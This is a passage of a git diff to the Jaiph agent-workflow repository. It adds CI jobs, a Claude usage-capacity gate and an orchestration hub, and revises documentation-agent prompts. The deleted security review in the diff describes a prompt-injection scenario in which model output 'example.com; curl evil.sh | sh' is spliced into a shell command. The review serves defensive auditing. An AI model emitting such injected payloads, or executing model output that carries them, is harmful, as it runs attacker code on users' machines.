diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2f779f39..35bad025 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -32,6 +32,39 @@ jobs: VERSION="$(node -p "require('./package.json').version")" git ls-remote --exit-code https://github.com/jaiphlang/jaiph.git "refs/tags/v${VERSION}" + k8s-manifest: + name: Validate Kubernetes deploy manifest + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + # `kubectl apply --dry-run=client` still needs an API server for resource + # discovery (RESTMapper), so provision a throwaway kind cluster for it. + # The same cluster then backs the real deploy test below. + - name: Create kind cluster + uses: helm/kind-action@v1 + with: + cluster_name: jaiph-e2e + + # Fast schema gate — cheap, but only proves the manifest parses. + - name: Dry-run apply the standalone deploy manifest + run: kubectl apply --dry-run=client -f docs/deploy/k8s.yaml + + - name: Build runtime image for the deploy test + run: docker build -t jaiph-e2e-runtime:local -f runtime/Dockerfile . + + # Real deployment contract: external Secret gate, pod hardening + # (non-root, no privilege escalation, dropped caps, no SA token, + # read-only rootfs), an authenticated HTTP run, and its journal on the + # writable runs volume. + - name: Deploy and exercise the manifest on kind + run: | + JAIPH_E2E_SKIP_INSTALL=1 \ + JAIPH_E2E_KIND_CLUSTER=jaiph-e2e \ + JAIPH_E2E_DOCKER_IMAGE=jaiph-e2e-runtime:local \ + bash e2e/tests/150_k8s_deploy.sh + e2e: name: E2E (${{ matrix.os }}, ${{ matrix.label }}) runs-on: ${{ matrix.os }} diff --git a/.github/workflows/setup-jaiph-action.yml b/.github/workflows/setup-jaiph-action.yml new file mode 100644 index 00000000..27cadce2 --- /dev/null +++ b/.github/workflows/setup-jaiph-action.yml @@ -0,0 +1,40 @@ +name: setup-jaiph action + +# Path-filtered so core PRs do not run this. Exercises the composite action from +# this repo on the runners it advertises (Linux + macOS) against the nightly +# release so it does not bitrot. +on: + push: + paths: + - "actions/setup-jaiph/**" + - "docs/install" + - ".github/workflows/setup-jaiph-action.yml" + +jobs: + setup-jaiph: + name: Install nightly and run jaiph + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-latest] + runs-on: ${{ matrix.os }} + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Install jaiph + id: setup + uses: ./actions/setup-jaiph + with: + version: nightly + + # jaiph must be on PATH for subsequent steps, and the action's output must + # match what the CLI reports directly. + - name: Verify jaiph is on PATH + shell: bash + run: | + which jaiph + got="$(jaiph --version)" + echo "on PATH: ${got}" + echo "action output: ${{ steps.setup.outputs.version }}" + [ "${got}" = "${{ steps.setup.outputs.version }}" ] diff --git a/.github/workflows/vscode-plugin.yml b/.github/workflows/vscode-plugin.yml new file mode 100644 index 00000000..80ff9b86 --- /dev/null +++ b/.github/workflows/vscode-plugin.yml @@ -0,0 +1,43 @@ +name: VS Code plugin + +# Path-filtered so core PRs do not rebuild the extension by default. Runs when +# the plugin tree changes, or when the compile command it depends on changes +# (the diagnostics tests invoke the real `jaiph compile --json` contract). +on: + push: + paths: + - "plugins/vscode/**" + - "src/cli/commands/compile.ts" + - ".github/workflows/vscode-plugin.yml" + +jobs: + vscode-plugin: + name: Compile, grammar & diagnostics tests, package + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Setup Node + uses: actions/setup-node@v4 + with: + node-version: "20" + cache: npm + + # The plugin's diagnostics tests run the real monorepo CLI, so build it. + - name: Build the jaiph CLI + run: | + npm ci + npm run build + + - name: Install plugin dependencies + run: npm ci + working-directory: plugins/vscode + + - name: Typecheck, compile, grammar & diagnostics tests + run: npm test + working-directory: plugins/vscode + + - name: Package the extension + run: npm run package + working-directory: plugins/vscode diff --git a/.github/workflows/zed-plugin.yml b/.github/workflows/zed-plugin.yml new file mode 100644 index 00000000..36c393aa --- /dev/null +++ b/.github/workflows/zed-plugin.yml @@ -0,0 +1,33 @@ +name: Zed plugin + +# Path-filtered so core PRs do not rebuild the extension by default. Runs when +# the Zed extension tree or the Tree-sitter grammar it pins changes. +on: + push: + paths: + - "plugins/zed/**" + - "grammars/tree-sitter-jaiph/**" + - ".github/workflows/zed-plugin.yml" + +jobs: + zed-plugin: + name: Grammar generate & highlight query-check + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Setup Node + uses: actions/setup-node@v4 + with: + node-version: "20" + + - name: Install plugin dependencies + run: npm install + working-directory: plugins/zed + + # Regenerates the grammar from grammar.js and query-checks the shipped + # highlights.scm / injections.scm against the fixtures. + - name: Grammar & highlight query-check + run: npm test + working-directory: plugins/zed diff --git a/.gitignore b/.gitignore index 2b4c42a8..40e99fa3 100644 --- a/.gitignore +++ b/.gitignore @@ -29,8 +29,10 @@ jaiph.key # OS/editor files .DS_Store -.vscode/ +# Only the repo-root editor folder — do not blanket-ignore plugins/vscode/.vscode/ +/.vscode/ *.swp +*.vsix .jaiph/runs/ .jaiph/*.jaiph.map diff --git a/.jaiph/async.jh b/.jaiph/async.jh deleted file mode 100755 index 8abcd209..00000000 --- a/.jaiph/async.jh +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env jaiph - -const prompt_text = "Say: Greetings! I am [model name]." - -workflow cursor_say_hello(name) { - config { - agent.backend = "cursor" - } - const response = prompt "${prompt_text}" - log response -} - -workflow claude_say_hello(name) { - config { - agent.backend = "claude" - } - const response = prompt "${prompt_text}" - log response -} - -# surrounding workflow waits for all to complete -workflow default(name) { - run async cursor_say_hello(name) - run async claude_say_hello(name) -} diff --git a/.jaiph/docs_parity.jh b/.jaiph/docs_parity.jh index 8d431d9f..7edec7c8 100755 --- a/.jaiph/docs_parity.jh +++ b/.jaiph/docs_parity.jh @@ -1,5 +1,7 @@ #!/usr/bin/env jaiph +import "jaiphlang/claude" as claude + config { agent.backend = "claude" agent.model = "opus" @@ -17,6 +19,25 @@ const role = """ (docs/_layouts/docs.html). Do not add manual navigation blocks (e.g. "More Documentation" sections) to individual markdown pages — inline contextual links to other docs are fine. + - Prose must follow the plain-writing skill + (.jaiph/skills/plain-writing/SKILL.md): everyday words, complete + sentences, limited clause stacking, and no unnecessary jargon. Real + Jaiph terms (workflow, sandbox, MCP, …) are allowed; define them briefly + on first use when a newcomer might not know them. +""" + +const skills_preamble = """ + Before doing anything else, read and follow BOTH skills: + 1. .jaiph/skills/documentation-writer/SKILL.md — Diátaxis framework, + the four document types, the clarify -> outline -> write workflow, + and the four guiding principles (clarity, accuracy, user-centricity, + consistency). + 2. .jaiph/skills/plain-writing/SKILL.md — write and revise prose in a + plain, human-readable style (simple words, complete sentences, no + unnecessary jargon, limited sentence complexity, full clear + explanations). Apply it before considering a page done. + For this workflow, follow the writing rules only — do NOT write the + optional /tmp revision HTML artifact from that skill. """ script assert_newline_paths_are_files = ``` @@ -89,10 +110,12 @@ script list_docs_md_paths = ``` printf '%s\n' "$out" ``` +# Docs surfaces the agent may edit: markdown/HTML, CHANGELOG, CLI usage/help +# strings in usage.ts and per-command USAGE constants (e.g. run.ts). script build_allowed_paths_block = ``` local out f - out="$(printf '%s\n' README.md docs/index.html docs/_layouts/docs.html src/cli/shared/usage.ts)" - for f in docs/*.md; do + out="$(printf '%s\n' README.md CHANGELOG.md docs/index.html docs/_layouts/docs.html src/cli/shared/usage.ts)" + for f in docs/*.md src/cli/commands/*.ts; do out="$out"$'\n'"$f" done printf '%s\n' "$out" @@ -100,23 +123,22 @@ script build_allowed_paths_block = ``` workflow update_from_task(taskDesc) { prompt """ - Before doing anything else, read and follow the documentation skill at - .jaiph/skills/documentation-writer/SKILL.md. It defines the Diátaxis - framework, the four document types, the clarify -> outline -> write - workflow, and the four guiding principles (clarity, accuracy, - user-centricity, consistency) you must apply to this task. + ${skills_preamble} ${role} - Update relevant docs/*.md files and -- if needed -- README.md - and docs/index.html to reflect the changes made in the task covered in - uncommitted changes. Update also the CHANGELOG.md file to reflect the changes - made in the task. + Update relevant docs/*.md files and -- if needed -- README.md, + docs/index.html, CHANGELOG.md, src/cli/shared/usage.ts, and + src/cli/commands/*.ts help/USAGE strings to reflect the changes made in + the task covered in uncommitted changes. Constraints: - - Only modify documentation files (docs/*.md, README.md, CHANGELOG.md, - docs/index.html). Do NOT modify source code, tests, or config files. + - Only modify allowed documentation surfaces: docs/*.md, README.md, + CHANGELOG.md, docs/index.html, docs/_layouts/docs.html, + src/cli/shared/usage.ts, and src/cli/commands/*.ts (help text / USAGE + constants only — do not change command behavior). + Do NOT modify tests, config, or unrelated source. - Navigation links between docs pages are provided by the Jekyll template. Do NOT add manual navigation blocks to individual markdown pages. @@ -128,11 +150,7 @@ workflow update_from_task(taskDesc) { workflow docs_page(path) { prompt """ - Before doing anything else, read and follow the documentation skill at - .jaiph/skills/documentation-writer/SKILL.md. It defines the Diátaxis - framework, the four document types, the clarify -> outline -> write - workflow, and the four guiding principles (clarity, accuracy, - user-centricity, consistency) you must apply to this task. + ${skills_preamble} ${role} @@ -150,25 +168,23 @@ workflow docs_page(path) { suggestions, improvements and other issues. 4. Keep examples (if present) executable and aligned with current behavior. 5. Ensure the content is approachable and understandable by a human reader. - It should be written in a way that is easy to understand and follow. - Avoid too many emojis and AI-like language. Keep it simple, concise and - clear. + After factual edits, revise the prose with the plain-writing skill + (.jaiph/skills/plain-writing/SKILL.md). 6. Navigation links between docs pages are provided by the Jekyll template (docs/_layouts/docs.html). Do NOT add manual navigation blocks (like 'More Documentation' sections with links to other docs pages) to individual markdown pages. Inline contextual links to other docs are fine. + 7. If this page documents CLI flags or subcommands, also keep + src/cli/shared/usage.ts and the matching src/cli/commands/*.ts USAGE + / help strings aligned (allowed edit; behavior unchanged). """ } workflow docs_overview(docPaths) { prompt """ - Before doing anything else, read and follow the documentation skill at - .jaiph/skills/documentation-writer/SKILL.md. It defines the Diátaxis - framework, the four document types, the clarify -> outline -> write - workflow, and the four guiding principles (clarity, accuracy, - user-centricity, consistency) you must apply to this task. + ${skills_preamble} ${role} @@ -209,22 +225,27 @@ workflow docs_overview(docPaths) { that supports safe feature delivery, preflight checks, implementation workflow, verification workflow, and a default entrypoint that orchestrates the above. - 10.Ensure src/cli/shared/usage.ts is up to date with the latest CLI commands - and options. It should be a single source of truth for the CLI usage. + 10.Ensure CLI help text stays aligned with the docs: update + src/cli/shared/usage.ts and src/cli/commands/*.ts USAGE / -h strings + when flags or subcommands change (help text only; do not change + command behavior). """ } workflow default() { + run claude.ensure_usage() ensure worktree_is_clean() const allowed_list = run build_allowed_paths_block() ensure docs_files_present(allowed_list) const docs_md_list = run list_docs_md_paths() for path in docs_md_list { if path != "" { + run claude.ensure_usage() run docs_page(path) } } + run claude.ensure_usage() run docs_overview(docs_md_list) ensure only_expected_docs_changed_after_prompt(allowed_list) } diff --git a/.jaiph/docs_parity_redesign.jh b/.jaiph/docs_parity_redesign.jh deleted file mode 100755 index ffc73b2f..00000000 --- a/.jaiph/docs_parity_redesign.jh +++ /dev/null @@ -1,208 +0,0 @@ -#!/usr/bin/env jaiph - -config { - agent.backend = "claude" - agent.model = "opus" - agent.claude_flags = "--permission-mode bypassPermissions" -} - -# Redesign-aware variant of docs_parity.jh, meant to be run BY HAND after the -# Diátaxis docs redesign (QUEUE.md "Docs redesign" tasks 1-7) has landed. -# -# Differences from docs_parity.jh: -# - Lists docs recursively and EXCLUDES docs/_legacy/ (the build-excluded -# quarantine of the pre-redesign pages). The stock workflow globs only the -# flat docs/*.md and would both miss nested pages and risk touching legacy. -# - The overview pass VERIFIES and tightens the new Diátaxis structure against -# the source code; it does NOT merge / split / move / re-quadrant pages the -# way the stock docs_overview does (that would undo the redesign). -# - Docs-only: it never edits src/ or usage.ts. -# -# Run on a clean worktree: jaiph run .jaiph/docs_parity_redesign.jh - -const role = """ - Project-specific context for documenting Jaiph: - - You read TypeScript and Bash fluently so you can verify documentation - against the implementation. - - Source code and docs/architecture.md are the single source of truth. - Do not trust existing documentation blindly; verify claims against the - code before reproducing them. - - Navigation links between docs pages are provided by the Jekyll template - (docs/_layouts/docs.html). Do not add manual navigation blocks (e.g. - "More Documentation" sections) to individual markdown pages — inline - contextual links to other docs are fine. - - docs/_legacy/ is a build-excluded quarantine of the OLD documentation. - Never read it as a source, never edit it, never resurrect its pages. -""" - -script assert_worktree_clean_for_docs = ``` - local current_changed_files - current_changed_files="$( - { - git diff --name-only --cached - git diff --name-only - git ls-files --others --exclude-standard - } | sort -u - )" - if [ -n "$current_changed_files" ]; then - echo "Refusing to run docs parity workflow on a dirty worktree." >&2 - echo "Please commit, stash, or discard these files first:" >&2 - echo "$current_changed_files" >&2 - return 1 - fi -``` - -rule worktree_is_clean() { - run assert_worktree_clean_for_docs() -} - -script assert_newline_paths_are_files = ``` - while IFS= read -r f; do - f="${f#"${f%%[![:space:]]*}"}" - f="${f%"${f##*[![:space:]]}"}" - [ -z "$f" ] && continue - test -f "$f" || return 1 - done <<< "$1" -``` - -rule docs_files_present(list) { - run assert_newline_paths_are_files(list) -} - -# Pattern-based allowlist (not a frozen snapshot): permit the doc entry points -# and ANY docs/**/*.md page — so pages the prompt legitimately CREATES still -# pass — while rejecting source, tests, .jaiph/, scratch files, and the -# quarantine / vendored / generated trees. -script assert_only_allowed_changed = ``` - local after_changed_files - after_changed_files="$( - { - git diff --name-only --cached - git diff --name-only - git ls-files --others --exclude-standard - } | sort -u - )" - while IFS= read -r changed_file; do - [ -z "$changed_file" ] && continue - case "$changed_file" in - README.md|CHANGELOG.md|docs/index.html|docs/_layouts/docs.html|docs/_config.yml) - continue ;; - esac - if printf '%s\n' "$changed_file" | grep -qE '^docs/.*\.md$' \ - && ! printf '%s\n' "$changed_file" | grep -qE '(^|/)docs/(_legacy|vendor|_site)/'; then - continue - fi - echo "Unexpected file changed by docs prompt: $changed_file" >&2 - return 1 - done <<< "$after_changed_files" -``` - -rule only_expected_docs_changed_after_prompt() { - run assert_only_allowed_changed() -} - -# Recursive list of published docs pages, excluding quarantine, Jekyll output, -# and Bundler's docs/vendor/ tree. BSD/macOS find treats * in -path as not -# crossing '/', so prune -path 'docs/vendor/*' misses nested gem READMEs; use -# grep instead of case (POSIX case patterns do not let * match '/' either). -script list_docs_md_paths = ``` - find docs -type f -name '*.md' -print \ - | grep -vE '(^|/)docs/(_legacy|vendor|_site)/' \ - | sort -``` - -# Files the parity prompts are permitted to change (docs only — never src). -script build_allowed_paths_block = ``` - { - printf '%s\n' README.md CHANGELOG.md docs/index.html docs/_layouts/docs.html docs/_config.yml - find docs -type f -name '*.md' -print \ - | grep -vE '(^|/)docs/(_legacy|vendor|_site)/' - } | sort -u -``` - -workflow docs_page(path) { - prompt """ - Before doing anything else, read and follow the documentation skill at - .jaiph/skills/documentation-writer/SKILL.md. It defines the Diátaxis - framework, the four document types, the clarify -> outline -> write - workflow, and the four guiding principles (clarity, accuracy, - user-centricity, consistency) you must apply to this task. - - ${role} - - - Verify ${path} against the Jaiph source code (the single source of truth) - and docs/architecture.md. - 0. This page belongs to a fixed Diátaxis quadrant declared in its - `diataxis:` front matter (tutorial / how-to / reference / explanation / - contributor). KEEP that type. Do NOT move content to or from other pages, - do NOT change the permalink, do NOT merge or split the page. - 1. Verify every factual claim, example, flag, config key, env var, and error - code against the source. Fix drift in the page to match the code. - 2. Repair cross-type bleed WITHIN the page only (e.g. delete a tutorial-style - walkthrough that crept into a reference page) — relocating it is out of - scope for this pass. - 3. Keep examples executable and aligned with current behavior. Keep prose - approachable, concise, and free of AI-like filler and excess emojis. - 4. Inline contextual links to other docs are fine; do NOT add manual - navigation blocks. Never touch docs/_legacy/. - 5. Edit ONLY this documentation page. Never edit source, tests - (*.test.ts), config, or anything under .jaiph/, and never create helper - or scratch scripts (e.g. *.mjs, *.sh) — make every change directly in - the documentation file. - - """ -} - -workflow docs_redesign_overview(docPaths) { - prompt """ - Before doing anything else, read and follow the documentation skill at - .jaiph/skills/documentation-writer/SKILL.md (Diátaxis: tutorials, how-to, - reference, explanation). - - ${role} - - - The docs were DELIBERATELY restructured into Diátaxis quadrants. Your job is - to VERIFY and tighten that structure — NOT to reorganize it. Read all - ${docPaths} (these already exclude docs/_legacy/). Treat docs/architecture.md - as the architecture source of truth. - - PRESERVE the structure. Do NOT merge, split, move, rename, or re-quadrant - pages; do NOT change permalinks; do NOT restructure the nav in - docs/_layouts/docs.html beyond fixing an outright error. Specifically: - 1. Cross-page consistency: terminology, tone, and overlapping facts agree - across pages, and every page is consistent with docs/architecture.md - (runtime vs CLI responsibilities, __JAIPH_EVENT__ vs run artifacts, - channels/hooks, the jaiph test lane). - 2. Each page stays within its `diataxis:` type; flag (do not relocate) - any remaining cross-type bleed. - 3. Reference pages (cli, configuration, grammar, language, env-vars) match - the source exactly — every flag, key, env var, error code. Fix the docs. - 4. README.md and docs/index.html lead with the tutorials / how-to entry - points and link to getting-started (or the first tutorial) and the agent - skill URL, hardcoded as - https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md. - Markdown-to-markdown links end with .md; index.html links do not. - 5. Edit documentation files ONLY (docs/**/*.md, README.md, CHANGELOG.md, - docs/index.html, docs/_layouts/docs.html, docs/_config.yml). Never edit - src/, tests (*.test.ts), or anything under .jaiph/, and never create - helper or scratch scripts (e.g. *.mjs, *.sh) — make every change - directly in the documentation files. Never touch docs/_legacy/. - - """ -} - -workflow default() { - ensure worktree_is_clean() - const allowed_list = run build_allowed_paths_block() - ensure docs_files_present(allowed_list) - const docs_md_list = run list_docs_md_paths() - for path in docs_md_list { - if path != "" { - run docs_page(path) - } - } - run docs_redesign_overview(docs_md_list) - ensure only_expected_docs_changed_after_prompt() -} diff --git a/.jaiph/engineer.jh b/.jaiph/engineer.jh index bf137a52..fabc3c07 100755 --- a/.jaiph/engineer.jh +++ b/.jaiph/engineer.jh @@ -5,6 +5,7 @@ # updates docs, removes from queue, and publishes a workspace patch artifact. # import "jaiphlang/artifacts" as artifacts +import "jaiphlang/claude" as claude import "jaiphlang/git" as git import "jaiphlang/queue" as queue import "./docs_parity.jh" as docs @@ -195,11 +196,11 @@ workflow select_role(role_name) { script task_text_has_header = `printf '%s\n' "$1" | grep -q '^## '` script first_line_task = ``` -local line -line="$(printf '%s\n' "$1" | awk 'NR==1 { print; exit }')" -line="${line#\#\# }" -line="$(printf '%s\n' "$line" | sed 's/ *#[A-Za-z0-9_-]*//g')" -printf '%s\n' "$line" + local line + line="$(printf '%s\n' "$1" | awk 'NR==1 { print; exit }')" + line="${line#\#\# }" + line="$(printf '%s\n' "$line" | sed 's/ *#[A-Za-z0-9_-]*//g')" + printf '%s\n' "$line" ``` workflow classify_role(task) { @@ -301,6 +302,7 @@ workflow implement(task, role_name) { workflow default(name) { # ensure git.is_clean + run claude.ensure_usage() const task = run queue.get_first_task() const task_header = run first_line_task(task) ensure queue.task_is_dev_ready(task) diff --git a/.jaiph/libs/jaiphlang/claude.jh b/.jaiph/libs/jaiphlang/claude.jh new file mode 100644 index 00000000..60c1c87e --- /dev/null +++ b/.jaiph/libs/jaiphlang/claude.jh @@ -0,0 +1,53 @@ +#!/usr/bin/env jaiph + +# +# Claude session capacity gate for long-running orchestration workflows. +# +# Usage: +# import "jaiphlang/claude" as claude +# run claude.ensure_usage() +# +# Polls `claude -p "/usage"` until current session usage is at or below 90%, +# sleeping 10 minutes between recoveries (recover_limit 1000 ≈ 7 days). +# + +script check_capacity = ``` + local usage percent + + if ! usage="$(claude -p "/usage")"; then + printf 'Failed to read Claude usage.\n' >&2 + return 1 + fi + + percent="$( + printf '%s\n' "$usage" | + sed -nE 's/.*Current session: ([0-9]+)% used.*/\1/p' | + awk 'NR == 1 { print; exit }' + )" + case "$percent" in + ''|*[!0-9]*) + printf 'Could not parse current Claude session usage.\n' >&2 + return 1 + ;; + esac + + printf 'Claude current session usage is %s%% (threshold: 90%%).' "$percent" + (( percent <= 90 )) +``` + +workflow probe_and_log() { + const status = run check_capacity() + log status +} + +export workflow ensure_usage() { + config { + # At ten-minute intervals this permits roughly 7 days of capacity checks. + run.recover_limit = 1000 + } + + run probe_and_log() recover (failure) { + logwarn "${failure}. Checking again in 10 minutes." + run `sleep 600`() + } +} diff --git a/.jaiph/main.jh b/.jaiph/main.jh new file mode 100644 index 00000000..42f3d38d --- /dev/null +++ b/.jaiph/main.jh @@ -0,0 +1,81 @@ +#!/usr/bin/env jaiph + +# +# Project orchestration hub — the serve/mcp entrypoint for Jaiph's own +# maintenance workflows. Exposes only the `export workflow` surface below; +# helpers in the imported modules stay hidden. +# +# Serve (HTTP + MCP Streamable HTTP on the same port): +# jaiph serve --inplace -y --env ANTHROPIC_API_KEY --env GITHUB_TOKEN .jaiph/main.jh +# +# MCP over stdio: +# jaiph mcp --inplace -y --env ANTHROPIC_API_KEY --env GITHUB_TOKEN .jaiph/main.jh +# +# Optional args use "" for the workflow default (MCP/HTTP require every +# declared parameter as a string). gh_ci_passes needs GITHUB_TOKEN or GH_TOKEN. +# +import "./architect_review.jh" as arch_mod +import "./docs_parity.jh" as docs_mod +import "./engineer.jh" as eng_mod +import "./ensure_ci_passes.jh" as ci_mod +import "./gh_ci_passes.jh" as gh_ci_mod +import "./security_review.jh" as sec_mod +import "./simplifier.jh" as simp_mod +import "./prepare_release.jh" as rel_mod +import "./qa.jh" as qa_mod + +config { + agent.backend = "claude" + agent.claude_flags = "--permission-mode bypassPermissions" +} + +# Review every QUEUE.md task for clarity, architecture fit, and #dev-ready. +# Marks ready tasks; fails if any still need work. +export workflow architect_review() { + run arch_mod.default() +} + +# Bring docs/ and CLI usage strings in line with the current TypeScript/Bash source. +# Requires a clean worktree; edits docs and related usage surfaces only. +export workflow docs_parity() { + run docs_mod.default() +} + +# Implement the first #dev-ready QUEUE.md task end-to-end: code, CI, docs, commit patch. +# Optional role name (e.g. "engineer"); "" lets the workflow classify the role. +export workflow engineer(role) { + return run eng_mod.default(role) +} + +# Run npm run test:ci and loop with an agent until it passes (or recover_limit). +export workflow ensure_ci_passes() { + run ci_mod.default() +} + +# Wait for GitHub Actions CI on the branch, pull failure logs, and repair until green. +# branch="" uses the current branch; workflow_name="" defaults to "CI". Needs GITHUB_TOKEN. +export workflow gh_ci_passes(branch, workflow_name) { + run gh_ci_mod.default(branch, workflow_name) +} + +# OWASP ASI Top 10 security review; writes a report under .jaiph/tmp/ and fails on HIGH. +# scope: ""|"codebase"|"full" for whole tree, "diff" for uncommitted, or a git range. +export workflow security_review(scope) { + run sec_mod.default(scope) +} + +# Find and apply safe simplifications (no test/e2e edits), then re-run local CI. +export workflow simplifier() { + run simp_mod.default() +} + +# Stage a release: CHANGELOG review, version bump, installer ref, rebuild, registry. +# version="" bumps the next patch from package.json; otherwise pass X.Y.Z. No tag/push. +export workflow prepare_release(version) { + return run rel_mod.default(version) +} + +# Find test-coverage gaps and write missing tests until local CI is green. +export workflow qa() { + run qa_mod.default() +} diff --git a/.jaiph/sandbox.jh b/.jaiph/sandbox.jh deleted file mode 100755 index 4cbc212c..00000000 --- a/.jaiph/sandbox.jh +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env jaiph - -import "jaiphlang/artifacts" as artifacts - -workflow default() { - run `echo "Hello, world!" > output.txt`() - const path = run artifacts.save("./output.txt") - return path -} \ No newline at end of file diff --git a/.jaiph/security_review_2026-07-20.md b/.jaiph/security_review_2026-07-20.md deleted file mode 100644 index 8b77b8d2..00000000 --- a/.jaiph/security_review_2026-07-20.md +++ /dev/null @@ -1,297 +0,0 @@ ---- -name: security_review -title: Security review -diataxis: explanation -date: 2026-07-20 -scope: Full Jaiph repository — workflow DSL runtime, TypeScript CLI, Docker sandbox, agent backends (cursor/claude/codex), script & shell step execution, env/secret handling, run artifacts, installers, and skills -framework: OWASP ASI Top 10 ---- - -# Jaiph Security Review — OWASP ASI Top 10 - -## Executive summary - -Jaiph is a workflow-DSL runtime that drives LLM agents and executes scripts and -shell on a user's behalf, isolated by a Docker sandbox. Reviewed as an *agentic -control plane*, the design is unusually disciplined in the places that matter -most for deterministic policy: the env-forwarding **allowlist** and mount -**denylist** are pure code with no LLM in the enforcement path (ASI-08), and the -runtime ships real circuit breakers — layered prompt watchdogs, an absolute -duration cap, recursion-depth and inbox-dispatch limits, and a -force-remove-by-name container kill switch (ASI-10). - -The residual risk is concentrated where **untrusted model output meets -execution**. The DSL is shell-first: any workflow line that is not a keyword -becomes a shell step, and `sh` steps run through `sh -c` on a string that may -embed values captured from a prompt. Scripts, by contrast, are spawned by argv -(no shell parsing of arguments) — a genuine strength that keeps this from being -worse. The security boundary between "model said it" and "machine ran it" is -therefore the Docker sandbox itself, not any input validation. That boundary is -solid in the default configuration but is *deliberately* removed by `--unsafe` -(host-only) and weakened by `--inplace` / the MCP default (host workspace -bind-mounted read-write). - -No directly exploitable HIGH issue was found: the sandbox contains -prompt-injection-to-shell in the default posture, and the capability grants that -weaken the sandbox all require a kernel-level bug to turn into escape. The -findings below are the conditions under which the boundary thins, plus -defense-in-depth gaps in auditability and supply chain. - -**Verdict: PASS** (no HIGH findings). - -| Severity | Count | -|----------|-------| -| HIGH | 0 | -| MEDIUM | 2 | -| LOW | 5 | - -**ASI coverage: 2 / 10 PASS** (2 PASS, 8 PARTIAL, 0 FAIL). The low PASS count -reflects a strict reading of the ASI checklist (which expects e.g. hash-chained -audit logs and cryptographic agent identity); most controls are *partially* -present and contained by the sandbox rather than absent. - -## ASI compliance matrix - -| Risk | Status | Note | -|------|--------|------| -| ASI-01 Prompt Injection | PARTIAL | No validation gate between prompt output and tool/shell execution; sandbox is the only mitigation. | -| ASI-02 Insecure Tool Use | PARTIAL | Scripts spawn by argv (safe); `sh -c` on interpolated strings is raw shell by design. | -| ASI-03 Excessive Agency | PARTIAL | Single fixed workspace mount, no user mounts; but `--unsafe`/`--inplace`/MCP-default remove or thin the isolation. | -| ASI-04 Unauthorized Escalation | PARTIAL | Config overrides gated by deterministic `*_LOCKED` flags; but imported-module metadata can change the executed agent command without attestation. | -| ASI-05 Trust Boundary | PARTIAL | Single-process, single-trust-domain; inter-workflow `send`/inbox sender identity is a plain string, no verification. | -| ASI-06 Insufficient Logging | PARTIAL | Structured `run_summary.jsonl` with ids/timestamps/status (replayable), but written into agent-writable `.jaiph/runs`, not hash-chained, no secret redaction. | -| ASI-07 Insecure Identity | PARTIAL | No cryptographic agent identity; backends authenticate to providers via API keys/OAuth only. Largely N/A for a local single-user CLI. | -| ASI-08 Policy Bypass | PASS | Env allowlist + mount denylist + `*_LOCKED` gates are deterministic code, fail-closed, no LLM in the enforcement path. | -| ASI-09 Supply Chain | PARTIAL | Installer verifies SHA-256, but from the same origin (TOFU, no signature); Docker image pulls toolchains via unpinned `curl \| sh`. | -| ASI-10 Behavioral Anomaly | PASS | Prompt watchdogs (grace/idle/max), recursion + inbox-dispatch caps, timeout + force-remove container kill switch. | - -## Scope and method - -The entire repository was scanned, not a diff. Emphasis followed the task's -agentic attack surface: - -- **Agent backends & prompt path** — `src/runtime/kernel/prompt.ts`, - `node-workflow-runtime.ts` (`runPromptStep`, interpolation). -- **Script & shell execution** — `executeScript`, `executeInlineScript`, - `executeShLine`, `spawnAndCapture` in `node-workflow-runtime.ts`. -- **Docker sandbox** — `src/runtime/docker.ts`, `runtime/overlay-run.sh`, - `runtime/Dockerfile`, sandbox-mode selection and cap/mount/env policy. -- **Secrets & env** — `ENV_ALLOW_PREFIXES`, `isEnvAllowed`, `remapDockerEnv`, - `preflight-credentials.ts`. -- **Privilege / bypass** — `--unsafe`, `--inplace`, `JAIPH_INPLACE`, - `applyMetadataScope` and the `*_LOCKED` gates. -- **Supply chain** — `docs/install`, `docs/install.ps1`, `Dockerfile`. -- **Auditability** — `run_summary.jsonl`, run artifacts, event emitter. -- **MCP exposure** — `src/cli/mcp/tools.ts`, sandbox mode for tool calls. - -Only issues estimated above 0.8 confidence of real exploitability in *this* -codebase are reported; web-app categories (SQLi/XSS/CSRF/JWT) were excluded as -out of scope per the brief. The report itself is the only file written. - -## Findings - -### 1. Prompt/model output flows into `sh -c` with no validation gate - -- **ASI:** ASI-01 (Prompt Injection) / ASI-02 (Insecure Tool Use) -- **Severity:** MEDIUM -- **Confidence:** 0.85 -- **Where:** `src/runtime/kernel/node-workflow-runtime.ts:1642` (`executeShLine` → - `sh -c command`), fed by `interpolateWithCaptures` at - `src/runtime/kernel/node-workflow-runtime.ts:1048-1057`; shell fallthrough is - the DSL's default for any non-keyword line (see `docs/architecture.md`). - -**Exploit scenario.** A workflow captures a prompt result and uses it in a shell -step: - -``` -const target = prompt "Read scan.txt and return the hostname to probe" -sh "nmap ${target}" -``` - -`scan.txt` is attacker-influenced content the agent reads. A prompt-injection -payload makes the model return `example.com; curl evil.sh | sh`. Because -`executeShLine` runs `sh -c "nmap example.com; curl evil.sh | sh"`, the injected -suffix executes. There is no validation, quoting, or allowlist between the model -output and the shell — `${target}` is spliced into the command string verbatim. -In the default posture this runs inside the Docker sandbox (the intended blast -radius). Under `--unsafe` it runs on the host; under `--inplace` / MCP it can -modify the real project tree (e.g. write a `.git/hooks/pre-commit`). - -**Why it is MEDIUM, not HIGH.** The sandbox is the designed containment and it -holds in the default configuration, and the pattern requires the author to embed -a capture in a shell line. It is not a clean RCE-out-of-the-box. - -**Remediation.** Document this data-flow hazard prominently for workflow authors; -prefer passing captured values as script *arguments* (already safe via argv in -`executeScript`) rather than interpolating into `sh` strings. Consider a -lint/validator warning when a `${var}` known to originate from a `prompt` -capture appears inside a shell step, and offer a shell-quoting helper -(`${var|quote}`) so the safe path is the easy path. - -### 2. MCP tool calls default to `inplace` — real workspace bind-mounted read-write - -- **ASI:** ASI-03 (Excessive Agency) -- **Severity:** MEDIUM -- **Confidence:** 0.8 -- **Where:** `src/runtime/docker.ts:405-411` 